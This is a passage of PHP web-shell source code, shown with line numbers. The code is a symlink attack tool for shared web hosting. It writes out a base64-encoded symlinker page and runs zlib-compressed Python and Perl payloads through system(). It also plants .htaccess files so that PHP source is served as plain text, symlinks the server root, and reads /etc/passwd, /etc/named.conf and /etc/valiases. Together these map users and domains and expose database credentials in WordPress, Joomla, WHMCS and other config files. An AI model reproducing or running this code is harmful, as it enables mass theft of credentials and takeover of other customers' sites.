lciAuICctd29yZHByZXNzLWJsb2cudHh0Jyk7DQogICAgICAgIEBzeW1saW5rKCcvaG9tZS8nIC4gJHVzZXIgLiAnL3B1YmxpY19odG1sL25ld3Mvd3AtY29uZmlnLnBocCcsICR1c2VyIC4gJy13b3JkcHJlc3MtbmV3cy50eHQnKTsNCiAgICAgICAgQHN5bWxpbmsoJy9ob21lLycgLiAkdXNlciAuICcvcHVibGljX2h0bWwvbmV3L3dwLWNvbmZpZy5waHAnLCAkdXNlciAuICctd29yZHByZXNzLW5ldy50eHQnKTsNCiAgICAgICAgQHN5bWxpbmsoJy9ob21lLycgLiAkdXNlciAuICcvcHVibGljX2h0bWwvYmxvZy93cC1jb25maWcucGhwJywgJHVzZXIgLiAnLXdwLWJsb2cudHh0Jyk7DQogICAgICAgIEBzeW1saW5rKCcvaG9tZS8nIC4gJHVzZXIgLiAnL3B1YmxpY19odG1sL2JldGEvd3AtY29uZmlnLnBocCcsICR1c2VyIC4gJy13cC1iZXRhLnR4dCcpOw0KICAgICAgICBAc3ltbGluaygnL2hvbWUvJyAuICR1c2VyIC4gJy9wdWJsaWNfaHRtbC9ibG9ncy93cC1jb25maWcucGhwJywgJHVzZXIgLiAnLXdwLWJsb2dzLnR4dCcpOw0KICAgICAgICBAc3ltbGluaygnL2hvbWUvJyAuICR1c2VyIC4gJy9wdWJsaWNfaHRtbC9ob21lL3dwLWNvbmZpZy5waHAnLCAkdXNlciAuICctd3AtaG9tZS50eHQnKTsNCiAgICAgICAgQHN5bWxpbmsoJy9ob21lLycgLiAkdXNlciAuICcvcHVibGljX2h0bWwvZGIucGhwJywgJHVzZXIgLiAnLWRiY29uZi50eHQnKTsNCiAgICAgICAgQHN5bWxpbmsoJy9ob21lLycgLiAkdXNlciAuICcvcHVibGljX2h0bWwvc2l0ZS93cC1jb25maWcucGhwJywgJHVzZXIgLiAnLXdwLXNpdGUudHh0Jyk7DQogICAgICAgIEBzeW1saW5rKCcvaG9tZS8nIC4gJHVzZXIgLiAnL3B1YmxpY19odG1sL21haW4vd3AtY29uZmlnLnBocCcsICR1c2VyIC4gJy13cC1tYWluLnR4dCcpOw0KICAgICAgICBAc3ltbGluaygnL2hvbWUvJyAuICR1c2VyIC4gJy9wdWJsaWNfaHRtbC9jb25maWd1cmF0aW9uLnBocCcsICR1c2VyIC4gJy13cC10ZXN0LnR4dCcpOw0KICAgICAgICBAc3ltbGluaygnL2hvbWUvJyAuICR1c2VyIC4gJy9wdWJsaWNfaHRtbC9qb29tbGEvY29uZmlndXJhdGlvbi5waHAnLCAkdXNlciAuICctam9vbWxhMi50eHQnKTsNCiAgICAgICAgQHN5bWxpbmsoJy9ob21lLycgLiAkdXNlciAuICcvcHVibGljX2h0bWwvcG9ydGFsL2NvbmZpZ3VyYXRpb24ucGhwJywgJHVzZXIgLiAnLWpvb21sYS1wcm90YWwudHh0Jyk7DQogICAgICAgIEBzeW1saW5rKCcvaG9tZS8nIC4gJHVzZXIgLiAnL3B1YmxpY19odG1sL2pvby9jb25maWd1cmF0aW9uLnBocCcsICR1c2VyIC4gJy1qb28udHh0Jyk7DQogICAgICAgIEBzeW1saW5rKCcvaG9tZS8nIC4gJHVzZXIgLiAnL3B1YmxpY19odG1sL2Ntcy9jb25maWd1cmF0aW9uLnBocCcsICR1c2VyIC4gJy1qb29tbGEtY21zLnR4dCcpOw0KICAgICAgICBAc3ltbGluaygnL2hvbWUvJyAuICR1c2VyIC4gJy9wdWJsaWNfaHRtbC9zaXRlL2NvbmZpZ3VyYXRpb24ucGhwJywgJHVzZXIgLiAnLWpvb21sYS1zaXRlLnR4dCcpOw0KICAgICAgICBAc3ltbGluaygnL2hvbWUvJyAuICR1c2VyIC4gJy9wdWJsaWNfaHRtbC9tYWluL2NvbmZpZ3VyYXRpb24ucGhwJywgJHVzZXIgLiAnLWpvb21sYS1tYWluLnR4dCcpOw0KICAgICAgICBAc3ltbGluaygnL2hvbWUvJyAuICR1c2VyIC4gJy9wdWJsaWNfaHRtbC9uZXdzL2NvbmZpZ3VyYXRpb24ucGhwJywgJHVzZXIgLiAnLWpvb21sYS1uZXdzLnR4dCcpOw0KICAgICAgICBAc3ltbGluaygnL2hvbWUvJyAuICR1c2VyIC4gJy9wdWJsaWNfaHRtbC9uZXcvY29uZmlndXJhdGlvbi5waHAnLCAkdXNlciAuICctam9vbWxhLW5ldy50eHQnKTsNCiAgICAgICAgQHN5bWxpbmsoJy9ob21lLycgLiAkdXNlciAuICcvcHVibGljX2h0bWwvaG9tZS9jb25maWd1cmF0aW9uLnBocCcsICR1c2VyIC4gJy1qb29tbGEtaG9tZS50eHQnKTsNCiAgICAgICAgQHN5bWxpbmsoJy9ob21lLycgLiAkdXNlciAuICcvcHVibGljX2h0bWwvd2htL2NvbmZpZ3VyYXRpb24ucGhwJywgJHVzZXIgLiAnLXdobTE1LnR4dCcpOw0KICAgICAgICBAc3ltbGluaygnL2hvbWUvJyAuICR1c2VyIC4gJy9wdWJsaWNfaHRtbC9jZW50cmFsL2NvbmZpZ3VyYXRpb24ucGhwJywgJHVzZXIgLiAnLXdobS1jZW50cmFsLnR4dCcpOw0KICAgICAgICBAc3ltbGluaygnL2hvbWUvJyAuICR1c2VyIC4gJy9wdWJsaWNfaHRtbC93aG0vd2htY3MvY29uZmlndXJhdGlvbi5waHAnLCAkdXNlciAuICctd2htLXdobWNzLnR4dCcpOw0KICAgICAgICBAc3ltbGluaygnL2hvbWUvJyAuICR1c2VyIC4gJy9wdWJsaWNfaHRtbC93aG0vV0hNQ1MvY29uZmlndXJhdGlvbi5waHAnLCAkdXNlciAuICctd2htLVdITUNTLnR4dCcpOw0KICAgICAgICBAc3ltbGluaygnL2hvbWUvJyAuICR1c2VyIC4gJy9wdWJsaWNfaHRtbC93aG1jL1dITS9jb25maWd1cmF0aW9uLnBocCcsICR1c2VyIC4gJy13aG1jLVdITS50eHQnKTsNCiAgICAgICAgQHN5bWxpbmsoJy9ob21lLycgLiAkdXNlciAuICcvcHVibGljX2h0bWwvd2htY3MvY29uZmlndXJhdGlvbi5waHAnLCAkdXNlciAuICctd2htY3MudHh0Jyk7DQogICAgICAgIEBzeW1saW5rKCcvaG9tZS8nIC4gJHVzZXIgLiAnL3B1YmxpY19odG1sL3N1cHBvcnQvY29uZmlndXJhdGlvbi5waHAnLCAkdXNlciAuICctc3VwcG9ydC50eHQnKTsNCiAgICAgICAgQHN5bWxpbmsoJy9ob21lLycgLiAkdXNlciAuICcvcHVibGljX2h0bWwvY29uZmlndXJhdGlvbi5waHAnLCAkdXNlciAuICctam9vbWxhLnR4dCcpOw0KICAgICAgICBAc3ltbGluaygnL2hvbWUvJyAuICR1c2VyIC4gJy9wdWJsaWNfaHRtbC9zdWJtaXR0aWNrZXQucGhwJywgJHVzZXIgLiAnLXdobWNzMi50eHQnKTsNCiAgICAgICAgQHN5bWxpbmsoJy9ob21lLycgLiAkdXNlciAuICcvcHVibGljX2h0bWwvd2htL2NvbmZpZ3VyYXRpb24ucGhwJywgJHVzZXIgLiAnLXdobS50eHQnKTsNCiAgICAgICAgQHN5bWxpbmsoJy9ob21lLycgLiAkdXNlciAuICcvcHVibGljX2h0bWwvY2xpZW50L2NvbmZpZ3VyYXRpb24ucGhwJywgJHVzZXIgLiAnLVdobTQudHh0Jyk7DQogICAgICAgIEBzeW1saW5rKCcvaG9tZS8nIC4gJHVzZXIgLiAnL3B1YmxpY19odG1sL2JpbGxpbmdzL2NvbmZpZ3VyYXRpb24ucGhwJywgJHVzZXIgLiAnLVdobTUudHh0Jyk7DQogICAgICAgIEBzeW1saW5rKCcvaG9tZS8nIC4gJHVzZXIgLiAnL3B1YmxpY19odG1sL2JpbGxpbmcvY29uZmlndXJhdGlvbi5waHAnLCAkdXNlciAuICctV2htNi50eHQnKTsNCiAgICAgICAgQHN5bWxpbmsoJy9ob21lLycgLiAkdXNlciAuICcvcHVibGljX2h0bWwvY2xpZW50cy9jb25maWd1cmF0aW9uLnBocCcsICR1c2VyIC4gJy1XaG03LnR4dCcpOw0KICAgICAgICBAc3ltbGluaygnL2hvbWUvJyAuICR1c2VyIC4gJy9wdWJsaWNfaHRtbC93aG1jcy9jb25maWd1cmF0aW9uLnBocCcsICR1c2VyIC4gJy1XaG04LnR4dCcpOw0KICAgICAgICBAc3ltbGluaygnL2hvbWUvJyAuICR1c2VyIC4gJy9wdWJsaWNfaHRtbC9vcmRlci9jb25maWd1cmF0aW9uLnBocCcsICR1c2VyIC4gJy1XaG05LnR4dCcpOw0KICAgICAgICBAc3ltbGluaygnL2hvbWUvJyAuICR1c2VyIC4gJy9wdWJsaWNfaHRtbC9hZG1pbi9jb25mLnBocCcsICR1c2VyIC4gJy01LnR4dCcpOw0KICAgICAgICBAc3ltbGluaygnL2hvbWUvJyAuICR1c2VyIC4gJy9wdWJsaWNfaHRtbC9hZG1pbi9jb25maWcucGhwJywgJHVzZXIgLiAnLU9wZW5fQ2FydC50eHQnKTsNCiAgICAgICAgQHN5bWxpbmsoJy9ob21lLycgLiAkdXNlciAuICcvcHVibGljX2h0bWwvY29uZl9nbG9iYWwucGhwJywgJHVzZXIgLiAnLWludmlzaW8udHh0Jyk7DQogICAgICAgIEBzeW1saW5rKCcvaG9tZS8nIC4gJHVzZXIgLiAnL3B1YmxpY19odG1sL2luY2x1ZGUvZGIucGhwJywgJHVzZXIgLiAnLTcudHh0Jyk7DQogICAgICAgIEBzeW1saW5rKCcvaG9tZS8nIC4gJHVzZXIgLiAnL3B1YmxpY19odG1sL2Nvbm5lY3QucGhwJywgJHVzZXIgLiAnLTgudHh0Jyk7DQogICAgICAgIEBzeW1saW5rKCcvaG9tZS8nIC4gJHVzZXIgLiAnL3B1YmxpY19odG1sL21rX2NvbmYucGhwJywgJHVzZXIgLiAnLW1rLXBvcnRhbGUxLnR4dCcpOw0KICAgICAgICBAc3ltbGluaygnL2hvbWUvJyAuICR1c2VyIC4gJy9wdWJsaWNfaHRtbC9pbmNsdWRlL2NvbmZpZy5waHAnLCAkdXNlciAuICctMTIudHh0Jyk7DQogICAgICAgIEBzeW1saW5rKCcvaG9tZS8nIC4gJHVzZXIgLiAnL3B1YmxpY19odG1sL3NldHRpbmdzLnBocCcsICR1c2VyIC4gJy1TbWYudHh0Jyk7DQogICAgICAgIEBzeW1saW5rKCcvaG9tZS8nIC4gJHVzZXIgLiAnL3B1YmxpY19odG1sL3ZiL2luY2x1ZGVzL2NvbmZpZy5waHAnLCAkdXNlciAuICctdkJ1bGxldGluMS50eHQnKTsNCiAgICAgICAgQHN5bWxpbmsoJy9ob21lLycgLiAkdXNlciAuICcvcHVibGljX2h0bWwvaW5jbHVkZXMvY29uZmlnLnBocCcsICR1c2VyIC4gJy12QnVsbGV0aW4yLnR4dCcpOw0KICAgICAgICBAc3ltbGluaygnL2hvbWUvJyAuICR1c2VyIC4gJy9wdWJsaWNfaHRtbC9mb3J1bS9pbmNsdWRlcy9jb25maWcucGhwJywgJHVzZXIgLiAnLXZCdWwzLVBocGJiMi50eHQnKTsNCiAgICAgICAgQHN5bWxpbmsoJy9ob21lLycgLiAkdXNlciAuICcvcHVibGljX2h0bWwvY2MvaW5jbHVkZXMvY29uZmlnLnBocCcsICR1c2VyIC4gJy12QnVsbGV0aW40LnR4dCcpOw0KICAgICAgICBAc3ltbGluaygnL2hvbWUvJyAuICR1c2VyIC4gJy9wdWJsaWNfaHRtbC9pbmMvY29uZmlnLnBocCcsICR1c2VyIC4gJy1teWJiLnR4dCcpOw0KICAgICAgICBAc3ltbGluaygnL2hvbWUvJyAuICR1c2VyIC4gJy9wdWJsaWNfaHRtbC9jb25maWcucGhwJywgJHVzZXIgLiAnLUNvbmZpZy1QaHBiYjEudHh0Jyk7DQogICAgICAgIEBzeW1saW5rKCcvaG9tZS8nIC4gJHVzZXIgLiAnL3B1YmxpY19odG1sL2luY2x1ZGVzL2Z1bmN0aW9ucy5waHAnLCAkdXNlciAuICctcGhwYmIzLnR4dCcpOw0KICAgICAgICBAc3ltbGluaygnL2hvbWUvJyAuICR1c2VyIC4gJy9wdWJsaWNfaHRtbC9vcGVuY2FydC9hZG1pbi9jb25maWcucGhwJywgJHVzZXIgLiAnLU9wZW5fY2FydDIudHh0Jyk7DQogICAgICAgIEBzeW1saW5rKCcvaG9tZS8nIC4gJHVzZXIgLiAnL3B1YmxpY19odG1sL2FwcC9ldGMvY29uZmlnLnhtbCcsICR1c2VyIC4gJy1NYWdlbnRvMS50eHQnKTsNCiAgICAgICAgQHN5bWxpbmsoJy9ob21lLycgLiAkdXNlciAuICcvcHVibGljX2h0bWwvYXBwL2V0Yy9sb2NhbC54bWwnLCAkdXNlciAuICctTWFnZW50bzIudHh0Jyk7DQogICAgICAgIEBzeW1saW5rKCcvaG9tZS8nIC4gJHVzZXIgLiAnL3B1YmxpY19odG1sL3NpdGVzL2RlZmF1bHQvc2V0dGluZ3MucGhwJywgJHVzZXIgLiAnLURydXBhbC50eHQnKTsNCiAgICAgICAgQHN5bWxpbmsoJy9ob21lLycgLiAkdXNlciAuICcvcHVibGljX2h0bWwvZHJ1cGFsL3NpdGVzL2RlZmF1bHQvc2V0dGluZ3MucGhwJywgJHVzZXIgLiAnLURydXBhbC50eHQnKTsNCiAgICB9DQogICAgZWNobyAnPGIgY2xhc3M9ImNvbmUiPjxmb250IGZhY2U9IlRhaG9tYSIgY29sb3I9Ikxhd25HcmVlbiIgc2l6ZT0iMnB0Ij48Yj5Db25ncmF0dWxhdGlvbiA9PT4+IDwvYj4gPGEgdGFyZ2V0PSJfYmxhbmsiIGhyZWY9IkFrRGsiPjxmb250IGNvbG9yPSJMYXduR3JlZW4iIHNpemU9IjJwdCI+Q29uZmlnIGxpc3Q8L2E+PC9mb250PjwvYj4nOw0KfQ0KZWNobyAnPGJyPjxicj48YnI+PGJyPic7DQplY2hvICcqKlsgVXBsb2FkZXIgXSoqJzsNCmVjaG8gJzxicj48YnI+JzsNCmVjaG8gJzxmb3JtIGFjdGlvbj0iIiBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiIG5hbWU9InVwbG9hZGVyIiBpZD0idXBsb2FkZXIiPic7DQplY2hvICc8aW5wdXQgdHlwZT0iZmlsZSIgbmFtZT0iZmlsZSIgc2l6ZT0iNTAiPjxpbnB1dCBuYW1lPSJfdXBsIiB0eXBlPSJzdWJtaXQiIGlkPSJfdXBsIiB2YWx1ZT0iVXBsb2FkIj48L2Zvcm0+JzsNCmlmICgkX1BPU1RbJ191cGwnXSA9PSAiVXBsb2FkIikgew0KICAgIGlmIChAY29weSgkX0ZJTEVTWydmaWxlJ11bJ3RtcF9uYW1lJ10sICRfRklMRVNbJ2ZpbGUnXVsnbmFtZSddKSkgew0KICAgICAgICBlY2hvICc8Yj48Zm9udCBjb2xvcj0iTGF3bkdyZWVuIj5VcGxvYWQgU3VjY2Vzc2Z1bGx5ISEhIDwvZm9udD48L2I+PGJyPjxicj4nOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGVjaG8gJzxiPjxmb250IGNvbG9yPSJyZWQiPlVwbG9hZCBGYWlsZWQhISEgPC9iPjxicj48L2ZvbnQ+JzsNCiAgICB9DQp9DQo/Pjxicj48YnI+DQo8ZGl2IGlkPSJuYW1lIj4mY29weTsgPGEgaHJlZj0iaHR0cHM6Ly93d3cuZmFjZWJvb2suY29tL0FrRGsxMjMiIHRhcmdldD0iX2JsYW5rIj5Qcm9Ccm8nczwvYT4uIENvZGVkICYgTW9kaWZpZWQgQnkgPGEgaHJlZj0iaHR0cHM6Ly93d3cuZmFjZWJvb2suY29tL0FrRGsxMjMiIHRhcmdldD0iX2JsYW5rIj5CbGFjayBTQ29ycGlvbjwvYT4gJiA8YSBocmVmPSJodHRwczovL3d3dy5mYWNlYm9vay5jb20vcHJvYnJvc3giIHRhcmdldD0iX2JsYW5rIj4hISEhPC9hPjwvZGl2Pg0KPC9ib2R5PjwvaHRtbD4=
3187";
3188 $blackie_sym = fopen("symlinker.php", "w");
3189 @fwrite($blackie_sym, base64_decode($php_symlinker));
3190 @fclose($blackie_sym);
3191 chmod("symlinker.php", 0755);
3192 ?>
3193 <center>
3194 <iframe src="symlinker.php" width="100%" height="600"></iframe>
3195 </center>
3196 <?php
3197 }
3198
3199
3200 if(isset($_POST['p1']) && $_POST['p1']=='python')
3201 {
3202 $htsyma = "eJydVNtu2zgQfY4B/wPLRWo7caSkl31wJAPeBt0NsEULZN/qoqDEUcWGIgWSrq0+9Ns7Q1tyr4uifhCHw8O5nDn0H+nZqy7U1oxH45FqWusCC6qBYWP9YPruaDugC9Yn6AzQTHlptXXsGZ+Rvw6C5YyvzXOlgS1Ygo6yBO9ZmrJnDkQAye420VVttO4erA0fjyq6tNKavXKWjsCzG2sAD++6Ritzz/7qWoH+H11unTKBch7tT/zsz8th93UM9ujy6gkrOlavdi8dC+7y/cqcseNl9tXvroVSCc3+dgDhIwsWu3ohNk4FYZRgq4AN3oNjD9mHW3d/K78rIpLViHuQyvnpJLj3ZjeZRW9Zo+8L13jkN97lr9+goQLsovUF1dqwC2QSa07CLhwYJ+petkFZ49mtkbBD8p5bre0W+/4X+/Zrc6MclMG6LgLofluHRq/NSsr/uhYYhmPoa6PnH2GkxpZ6J7bUYBbbgpnyYaJ8zrfnVEOTbJENmNbRLrX1MJ31LCA69hUnnFHSZRZU0LD8lalk6R6blWACuGVWWYwZFZcXGolnXn2E/OmPgmVFj4+YJ8sXQgICvpk7wW4lCDr5n7neZCnFWvZL8dNiHmODosCieZx9T9wkhVCmVN1WTuYTFyWQ2wTfhCS6COggqZSRQmuE17aBdL09n8xtHHSFr2yH8mDKMLsYj05ok9MHY7SYH/pLGJ6in5CYEtFidjkl3DAUfsHPHqM0d6QyKtAnWvlAYuTpB+FSIxqQ/Jh2D8TE0YjJo5Xvl6EAnsgCdcFjdlLwkD7ihgIqNESoc0z8DmnZRgZUxXjabgqtyrcklJRTRsJRwoj/5nw8Au2hPyWFpf1BaTekmPwK47Y+32u31z1Jl2rEk4N2fTU0Wx04JvYodPT1/cemyHtSbXJCvr5cPH1De59H0LDHbhCS+wg+OWbiWUDpBMl86DTkpKGLSjRKd4tSaFU4dR19W1Dv6rAorJbXUWOLqLHr5anHVyF/L4QD+bsBlplgtYMq3//57JV26k89C8LhEPO3WB++wBheLGMKfjo9zGFOXO0/NKp55Go2i9z0ozqs51efAVOkH/Q=";
3203
3204 $lelwasym = gzuncompress(base64_decode($htsyma));
3205 $fp122 = fopen('y.py','w');
3206 $fw1111 = fwrite($fp122,$lelwasym);
3207 @fclose($fw1111);
3208 ?> <?php
3209 $eaacho = system("python y.py"); echo "$eaacho"; echo "<center><iframe src='trjnx' height='400' class='lel' width='600'></iframe></center>";
3210 @unlink ('y.py');
3211 }
3212 if(isset($_POST['p1']) && $_POST['p1']=='perl')
3213
3214 {
3215 $plsym = "eNrtWnlT20gW/xuq+A49wonlja22DIaAjwkBkrCVEBaczc5OpigdbbuD1NJILWyHIp99Xx8ytjEx9k52p2bGgFvqfu/X7+yTzR9wlibYpQzHJAlQ5US+B5HnBNh1mB9StrG+sb7ZeuQH45z42bNnR32HZWkfXYzCgLIrqJklWgYR2A8jn/jo5QgdJJ8zpvBWAxNoBwydMJ86DL1xvCuS5PItjbixLg2GzIKbdbskKaMXsUOTtIwKooSCOSGB4toJMiifvHp//q7U2FhH8NlE58TxEWWIkyFXdYXj03/eFM+P//Hh+KJz+e648+b9UfEWtb4inmCn8gUfVP6NNT/tQr/z6cmvyHh93DFKivJmY31NS4haug/gOP/p8qJzfnL6unirIW9zyS7igHIQrRslocNpxOCZR0hog6UuSOqpyJXOgJwKLhM/xaCx6i7XFXCI4/WVWZCpOCakM6cMVbrDamFtS4G0ppq1OZ5hhKcrU/zEtKwSjsGrpnFolFGfDM2CXSph0pOkwv43sq9bYQnJOa17ISXJtbKTJFavuYEKMlnGjeLtVgJ7EevS3l2LeldtZEi8jJO7Rl1x1xr6U22hP26aYhK1cQKeQMZhxDhhvMJHMdmXAYT7PAw+sU/MyKmKzR+O3h92fjo7RqINnX14+fbkEBkVjD9uHWJ81DlC/3rTefcW2VYVdRKHpVT4GkYAfHxqIKPPebyP8WAwsAZbVpT0cOccDwWWLZj1Y4VPcFo+9432xnpT9jgMA5a25uDYe3t7il0RQyIoJh5XyK8ZvW6NNXzrsF7m9IiBPFXTMgirZKmB8EMsHTDKBPnYOg3k9Z0kJbyV8W7luUbglAekPT3CNLGqheaUjwKChJ01kpemQmiLkcGFaLNFBLsQcr0kyphf8aIgSvbRZlV+wBldEKTSdUIajPaF57KEQoCdkgEEqH4rozBiUQqBS3KGAaG9Pt9HbhT4UJejvnqlUSFerXTcv5Cs4gS0x/aRB1qTJMeZy+hmMODcPCy0es15QIbEJ4kmymkkTjSch7NZPRQ/MzAD6vP+fm33yTcA+VKID8E0sbSMcB/OY8uN/BHyAieFgBy7Tkafsle7KcyFUvqFtLbbzTgR7BgvMx3cUcOM8nSztrW91ZDFtix29mRR32uMJ8T7nI/vR/dR1ag1WTy3ZbFVm+wR+keynKKp704y7uxoGi3r7hzUenWybbvauJuIVzJUbqWdeX1pmXem+tQS1KeErNVlUdUa2NroO1Myz+ujttuYnPqX06GJRYg0sYiau0LHEoL2OI+2VIcacMjxxnFhQJG52spDj4s/X4RgErablMUZV0NOn/o+YXLiBSA5FxlITlst40LNVLDIMqZ4jDRzQ8pn6Za2pqEVgMFCKihEw1wm02JZxdQ4luBMzJoL5ZRU/1sp1TQ9luA14UhXfVNSPdtP5JQWWQfW9nTQKZF363lqogl9dhcqAl+J+BJh0266ifybGrZmNBRzgdIvX3lo4GioFSha+aLEKj5sHLUUGSt9rDiMNprkUJYZdzdLPE8nLXixIRbQwI96hKejEIZ9WPSsraVq02AWcT+C5SbIevlz9ReriOPMDah3KWZyfO1iyrwg80mKlTesuB8Xy0BrA+3Xr9cvsyAgnDLb4kNelMvHR2J7sFh9LHp9afRHAteWBgbrZuFj4beWhgeLf3fDzMcMR667ghPnIJ31Y9e1v4tlJXRtJTEve0HkwtJ5GpDGK0g6iCtzpfsICyWYrtJ0eUg3iHqLcWsrOihL5PZyBvbvURQGzoqyLgZeXtjPku8R0MvnlevONy2M1i4NgL+3PKTi+x7Qg374TSt87If2KqDeItTlfZZmcRwlfBHw8h7zAgoz2CLc7VXdli5Crq8cEAuAd1Y0xUKJd1cKiYWwz5eGlfvFRbB7S8M64rhUws6g1f8LqHtpu/1bzi7smqY0WnX1gn13BnB3FeEY8fgMzvI+Da8u51g+vKqI7Hdg57WyknO9YK8wEhHORWLPIF2E3dVXj92MeSJ8Z0FjsQ7Z+u38SsEEjPLRGPFWrdm9vp+oFTs80QRJUNFhFBNmHh10DsrIaFt97ngerA8MKYw6vBSNyHgfS/FhIxx8Ykc0gVCIktEJ88kQXWRDSx1nHvi+OM1TJ5xx4FCGhICy4Y3D/AA2tmpbXInF0Z5/13yPb4yYM4JKee25OEJMCDqNGPnELmBkSLsjdMBGhlKZds38ZFgcrk9svUvKCuGVsILhJJ+NMqru1utC36fCSqaslPorU8n33FTI9KshiJeWURET7mGxk/ItEXrFEorAsCRJWrYgf3EljqWbmr4tAYMoJUjXiAp5KQAcINWa3E7JPk5Ozz50wB9N2UMMO7KBLyVYG/RpQJCJmpKkjQSfYlwrQNSQVuGygV6kccJb+kR+H5dlS6mBChmYpFUQrdr5ItpSTkKzGDBUSdE45ATldMihIrIUgorTW/GlAqSY720ndvpzD3Dqtj60Uo271XknWjv25FmYXW2gpoP6Cem2wA9tDTNJqMCqdcW+VZvq357ZtTexM72llYqQICW5B/K7j3CEChBdyAQ/TphZRJaobn1FIbb+9uMX8WKY8FQy0A2WlJp0rdAFb8mtNjKkK2G3TZ0UhgPDKtgNTRQNmLzAgG11PMiob5opd7g5Zi6Vft7+RQ8OD/lLYsxzmK0Zb/9oPoNf8JrwhrzjEVk+Prb6K8dncnx2Rrmf3sXyX8n9O0juWUfNyWvhqT9BVuszW3k1fnfMey+z7bmpbc/mtv2HTW5ZZ4trZ/Gg6p6qE1pTVpUVxf8zse0/fWaPPSK5yr+HBLa/dwbr/5QQGZxfL+j0zXXVlyPjqxGx+nfAjZDtQdoy9uoGSqIBPNl7+c2EuHBuFy0g8mMaEzO/GClZxSbO+aelus3/CwMoxK0ytIpxFNr+AzQXrGg=";
3216
3217$lelwasym = gzuncompress(base64_decode($plsym));
3218 $fp1212 = fopen('sym.pl','w');
3219 $fw11111 = fwrite($fp1212,$lelwasym);
3220 @fclose($fw11111);
3221 chmod("sym.pl",0755);
3222 ?><br><center><iframe src="sym.pl" height="400" class="button" width="600"></iframe></center><?php }
3223 if(isset($_POST['p1']) && $_POST['p1']=='phpsym')
3224 {
3225
3226
3227error_reporting(0);
3228ob_start();
3229
3230$dir = "sec1";
3231@mkdir($dir);
3232if($dir){
3233} else {
3234}
3235$dir2 = "sec2";
3236@mkdir($dir2);
3237if($dir2){
3238} else {
3239}
3240$dir3 = "sec3";
3241@mkdir($dir3);
3242if($dir3){
3243} else {
3244}
3245$dir4 = "sec4";
3246@mkdir($dir4);
3247if($dir4){
3248} else {
3249}
3250$dir5 = "sec5";
3251@mkdir($dir5);
3252if($dir5){
3253} else {
3254}
3255$dir6 = "sec6";
3256@mkdir($dir6);
3257if($dir6){
3258} else {
3259}
3260$dir7 = "sec7";
3261@mkdir($dir7);
3262if($dir7){
3263}
3264else {
3265}
3266
3267
3268
3269$sec1 = "sec1/.htaccess";
3270$hsec1 = fopen($sec1, 'w') or die("Error: Can't open file");
3271$con1 = "Options Indexes FollowSymLinks
3272DirectoryIndex ssssss.htm
3273AddType txt .php
3274AddHandler txt .php
3275AddType txt .html
3276AddHandler txt .html
3277Options all
3278Options
3279Allow from all
3280Require None
3281Satisfy Any";
3282fwrite($hsec1, $con1);
3283fclose($hsec1);
3284
3285
3286
3287$sec2 = "sec2/.htaccess";
3288$hsec2 = fopen($sec2, 'w') or die("Error: Can't open file");
3289$con2 = "Options +FollowSymLinks
3290DirectoryIndex seees.html
3291RemoveHandler .php
3292AddType application/octet-stream .php ";
3293fwrite($hsec2, $con2);
3294fclose($hsec2);
3295
3296
3297$sec3 = "sec3/.htaccess";
3298$hsec3 = fopen($sec3, 'w') or die("Error: Can't open file");
3299$con3 = "Options +FollowSymLinks
3300DirectoryIndex Index.html
3301Options +Indexes
3302AddType text/plain .php
3303AddHandler server-parsed .php";
3304fwrite($hsec3, $con3);
3305fclose($hsec3);
3306
3307$sec4 = "sec4/.htaccess";
3308$hsec4 = fopen($sec4, 'w') or die("Error: Can't open file");
3309$con4 = "Options Indexes FollowSymLinks
3310DirectoryIndex ssssss.htm
3311AddType txt .php
3312AddHandler txt .php";
3313fwrite($hsec4, $con4);
3314fclose($hsec4);
3315
3316$sec5 = "sec5/.htaccess";
3317$hsec5 = fopen($sec5, 'w') or die("Error: Can't open file");
3318$con5 = "Options all
3319DirectoryIndex Sux.html
3320AddType text/plain .php
3321AddHandler server-parsed .php
3322AddType text/plain .html";
3323fwrite($hsec5, $con5);
3324fclose($hsec5);
3325
3326
3327$sec6 = "sec6/.htaccess";
3328$hsec6 = fopen($sec6, 'w') or die("Error: Can't open file");
3329$con6 = "Options +FollowSymLinks
3330DirectoryIndex Sux.html
3331Options +Indexes
3332AddType text/plain .php
3333AddHandler server-parsed .php
3334AddType text/plain .html";
3335fwrite($hsec6, $con6);
3336fclose($hsec6);
3337
3338$sec7 = "sec7/.htaccess";
3339$hsec7 = fopen($sec7, 'w') or die("Error: Can't open file");
3340$con7 = "Options Indexes FollowSymLinks
3341AddType text/plain .php .inc .asp .php3
3342Options All
3343Options All";
3344fwrite($hsec7, $con7);
3345fclose($hsec7);
3346
3347
3348
3349for ($k=1;$k<8;$k++){
3350if("$fp$k"){
3351chdir('sec'.$k);
3352system('ln -s / 1.txt');
3353chdir('../');
3354}
3355else{ echo "Error";
3356}
3357}
3358
3359echo "<center><table border='1' align='center' width='80%'><h3><td><a>User</td></a><td><a>Sym</a></td></h3></center>";
3360$file = file('/etc/passwd');
3361if(!$file)
3362{
3363
3364 die ("</br></br><center><h2><a>ERROR !</a></h2></center>");
3365}
3366else
3367{
3368foreach ($file as $f){
3369
3370 $u=explode(':', $f);
3371 $user = $u['0'];
3372 echo "<tr><td>".$user."</td><td><a href='sec1/1.txt/home/".$user."/public_html/' >Sym1</a>~<a href='sec2/1.txt/home/".$user."/public_html/' >Sym2</a>~<a href='sec3/1.txt/home/".$user."/public_html/' >Sym3</a>~<a href='sec4/1.txt/home/".$user."/public_html/' >Sym4</a>~<a href='sec5/1.txt/home/".$user."/public_html/' >Sym5</a>~<a href='sec6/1.txt/home/".$user."/public_html/' >Sym6</a>~<a href='sec7/1.txt/home/".$user."/public_html/' >Sym7</a></td></tr>";
3373}
3374}
3375 }
3376
3377
3378 if(isset($_POST['p1']) && $_POST['p1']=='phpsym1')
3379 {
3380
3381
3382 echo "<center><table border='1' align='center' width='80%'><h3><td><a>Domains</td></a><td><a>User</a></td><td><a>Sym</a></td></h3></center>";
3383if(!is_file('DATA.txt')){
3384$named = @file("/etc/named.conf");
3385}else{
3386$named = @file("DATA.txt");
3387}
3388if(!$named)
3389{
3390
3391 die ("</br></br><center><h2><a>ERROR !</a></h2></center>");
3392}
3393else
3394{
3395foreach($named as $dom){
3396preg_match_all('#zone "(.*)"#', $dom, $doms);
3397if(strlen(trim($doms[1][0])) > 2){
3398$user = posix_getpwuid(@fileowner("/etc/valiases/".$doms[1][0]));
